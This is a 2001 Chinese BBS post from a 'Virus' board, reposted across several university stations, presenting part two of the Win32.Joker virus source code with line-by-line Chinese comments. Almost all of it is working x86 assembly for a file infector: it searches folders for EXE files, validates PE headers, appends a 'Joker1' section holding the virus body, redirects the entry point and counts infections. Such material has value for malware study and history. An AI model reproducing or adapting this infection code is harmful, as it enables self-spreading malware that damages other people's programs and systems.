荔园在线
荔园之美,在春之萌芽,在夏之绽放,在秋之收获,在冬之沉淀
[回到开始]
[上一篇][下一篇]
发信人: Mic (至酷霸王丸), 信区: Virus
标 题: 经典病毒源码 分析:Win32.Joker (2/3)
发信站: 荔园晨风BBS站 (Wed May 30 07:49:16 2001), 转信
【 以下文字转载自 Mic 的信箱 】
【 原文由 Smickey.bbs@melon.gznet.edu.cn 所发表 】
发信人: hollando (拜人精神,早睡早起), 信区: Virus
标 题: 经典病毒源码 分析:Win32.Joker (2/3)
发信站: 华南网木棉站 (Sun May 27 13:22:31 2001), 转信
; --------------------------------------------------------------------
; 找当前文件夹中第一个文件
; --------------------------------------------------------------------
FindFirstFile:
mov ax, 714Eh ; EAX = LFN 找第一个文件 调用
cwde ; 把16位的 AX 转换为32位的 EAX
call PerformSearch
db "*.EXE",0 ; EXE 通配符
PerformSearch: ; ...
pop edx ; EDX = ASCIIz 通配符
lea edi, [ebp+FindData] ; EDI = 搜寻数据纪录
xor ecx, ecx ; ECX = 属性
lea esi, [ecx] ; 日期和时间
inc esi ; ESI = 1
call Int21h
jnb ExitSearch
xor eax, eax ; 这不好,有错
ExitSearch: ; ...
mov [ebp+SearchHandle], eax ; 保存搜索句柄
retn
; --------------------------------------------------------------------
; Find next files
; --------------------------------------------------------------------
FindNextFile:
mov ax, 714Fh ; AX = LFN 查找下一个文件 调用
cwde ; 把16位的 AX 转换为32位的 EAX
lea edi, [ebp+FindData] ; EDI = 到 FindData 结构的指针
xor esi, esi ; ESI = 日期,时间
inc esi
mov ebx, [ebp+SearchHandle] ; EBX = 搜索句柄
call Int21h
jnb ExitFindNextFil
xor eax, eax ; EAX = 0 (这不好,有错)
ExitFindNextFil: ; ...
retn
; --------------------------------------------------------------------
; 感染找到的文件,呵呵
; --------------------------------------------------------------------
InfectFile:
call OpenFile
jnb continue_inf
xor eax, eax
retn
continue_inf: ; ...
mov [ebp+FileHandle], eax ; 保存文件句柄
xor ecx, ecx ; ECX = 0
mov ch, 4 ; 读 400h 字节
call ReadFromFile
jb inf_stage2
call CheckValidPE
inf_stage2: ; ...
jb InfError1 ; 错误?倒霉...
cmp dword ptr [ebp+FileSizeHigh], 0 ; FileSizeHigh = 0?
jnz InfError1 ; 如果是的话那就太大了
cmp dword ptr [ebp+FileSizeLow], 7FFFEFFFh ; 文件太大了? 算啦!
ja InfError1
call @@3
@@3: pop eax
add eax, 13h ; EAX = 跳转的偏移量
call_jump_eax: ; ...
call jump_eax
db "Joker1",0,0 ; 新段的名字。
jump_eax:
jmp eax
pop eax ; 清除堆栈中的垃圾
push esi ; 保存 ESI
xchg eax, esi ; EAX = ESI
lodsd
lea edi, [ebp+buffer] ; EDI = 文件头的起点
xor ecx, ecx
mov ch, 1 ; 搜索 400h 字节
repne scasd
pop esi
jz InfError1
mov ax, [esi+6] ; AX = 区段数
cwde ; 16->32位转换
mov ecx, 28h
dec eax
mul ecx
add eax, 0F8h
add eax, esi
xchg eax, edi ; EDI = 指向最后区段
mov [ebp+Ptr2LastSection], edi
mov ebx, [edi+10h] ; EBX = SizeOfRawData
add ebx, [edi+14h] ; EBX = 指向最后区段的指针
mov eax, ebx ; EAX = EBX
mov ecx, [esi+3Ch] ; ECX = 文件对正
dec eax ; 成那个值。
add eax, ecx
xor edx, edx ; EDX = 0
div ecx
mul ecx ; EAX = 修正值
mov edx, eax ; EDX = EAX
mov [ebp+ASizeOfRawData], edx ; 保存到变量中
mov ecx, eax
shr ecx, 10h ; 转换成需要的形式
xor al, al ; 把指针移动到我们希望的地方
call MoveFilePointer ; 完成
jnc ContinueInf
InfError1: ; ...
jmp InfError
ContinueInf: ; ...
mov byte ptr [ebp+PushImm32], 68h ; 一个 PUSH imm8 操作码
mov edx, [esi+28h] ; EDX = 宿主 EIP
mov [ebp+OldEIP], edx ; 放到PUSH后面
lea edx, [ebp+PushImm32]
xor ecx, ecx ; ECX = 0
mov cl, 5 ; ECX = 5
call Write2File
jnc Continue2 ; 如果没错的话,来这儿
InfError: ; ...
jmp CloseAndQuit ; 完了,有错...
Continue2: ; ...
mov eax, virus_size ; EAX = 病毒大小
dec eax ; EAX--
xor edx, edx ; EDX = 0
mov ecx, [esi+3Ch] ; ECX = 对正因子
add eax, ecx ; 现在病毒对正成真正的病毒的大小
div ecx
mul ecx
xchg eax, ecx
mov [ebp+AVirusSize], ecx ; 然后作为自身的变量保存
sub ecx, 5 ; 减去5(为PUSH imm32)
call write_virus
call_data:
call virus_start
write_virus:
pop edx ; EDX = 指向 call_data
add edx, [edx+1] ; 加上调用地址
add edx, 0Ah ; EDX = 要写的数据
call Write2File ; 写病毒 :)
push esi ; 保存 ESI
mov edi, [ebp+Ptr2LastSection] ; EDI = 指向最后区段的指针
add edi, 28h ; EDI = EDI+28h (区段头大小)
call @@2
@@2: pop eax
add eax, 9 ; 跳过这段垃圾……不过有原因
jmp call_jump_eax ; 她返回我们需要的新区段
; 的名字的指针
pop esi ; ESI = 指向 "Joker1\0\0"
lodsd ; 我们给新区段名字
stosd ; 她占用8字节,所以... :)
lodsd
stosd
pop esi ; 还原最初 ESI 值
mov eax, [ebp+AVirusSize] ; EAX = 修正后的病毒大小
mov ecx, [esi+38h] ; ECX = 区段的对正
cdq ; EDX = 0
dec eax ; 把病毒大小按照区段对正大小修正
add eax, ecx
div ecx
mul ecx
stosd ; 区段的虚拟地址
mov eax, [edi-28h] ; 这里病毒进行
add eax, [edi-2Ch] ; 一些必要的操作
dec eax ; 来获得新的虚拟地址
add eax, ecx
div ecx
mul ecx
stosd ; 区段的虚拟地址
push eax ; 保存到堆栈
mov eax, virus_size ; EAX = 病毒大小
mov ecx, [esi+3Ch]
cdq ; EDX = 0
dec eax
add eax, ecx
div ecx
mul ecx
stosd ; 区段对应的 SizeOfRawData
mov eax, [ebp+ASizeOfRawData]
stosd ; 区段对应的 PointerToRawData
xor eax, eax ; EAX = 0
stosd ; 区段对应的 PointerToRelocations
stosd ; 区段对应的 PointerToLineNumbers
stosw ; 区段对应的 NumberofRelocations
stosw
mov eax, 20000020h ; 区段对应的 attributes
stosd ; (行了)
lea esi, [ebp+40h]
lodsd
lea esi, [ebp+eax+4] ; ESI = 文件句柄指针
pop eax ; EAX = 新区段的虚拟地址
mov [esi+28h], eax ; 设置为新的入口点
inc word ptr [esi+6] ; 增加区段数
mov eax, [ebp+AVirusSize]
add [esi+1Ch], eax ; 把修正后的病毒大小加到 SizeOfCode
mov ebx, [esi+50h] ; EBX = 原来的 SizeOfImage
add eax, ebx ; EAX = 修正过的病毒大小+SizeOfImage
mov ecx, [esi+38h] ; ECX = 段对正值
dec eax ; 修正 病毒大小+SizeOfImage
xor edx, edx ; 到 SectionAlignment
add eax, ecx
div ecx
mul ecx
mov [esi+50h], eax ; 保存新的 SizeOfImage
xor edx, edx ; EDX = 0
mov ecx, edx ; ECX = 0
xor al, al ; AL = 0 (到希望的位置的指针)
call MoveFilePointer
lea edx, [ebp+buffer] ; EDX = 堆栈中指向病毒的指针
xor ecx, ecx ; ECX = 0
mov ch, 4 ; 追加 400h 字节
call Write2File
inc dword ptr [ebp+InfCounter] ; 感染计数++ (人有少了一个)
CloseAndQuit: ; ...
push eax ; 保存 EAX
call CloseFile ; 关闭文件
pop eax ; 恢复 EAX
retn
--
※ 来源:.GNU中国站 hollando.gnu.org.cn.[FROM: 127.0.0.1] *[46
※ 来源:.华南网木棉站 bbs.gznet.edu.cn.[FROM: 202.38.240.231]
--
※ 转寄:.华南网木棉站 bbs.gznet.edu.cn.[FROM: 深大荔园晨风转站]
--
※ 转载:·荔园晨风BBS站 bbs.szu.edu.cn·[FROM: 192.168.28.108]
[回到开始]
[上一篇][下一篇]
荔园在线首页 友情链接:深圳大学 深大招生 荔园晨风BBS S-Term软件 网络书店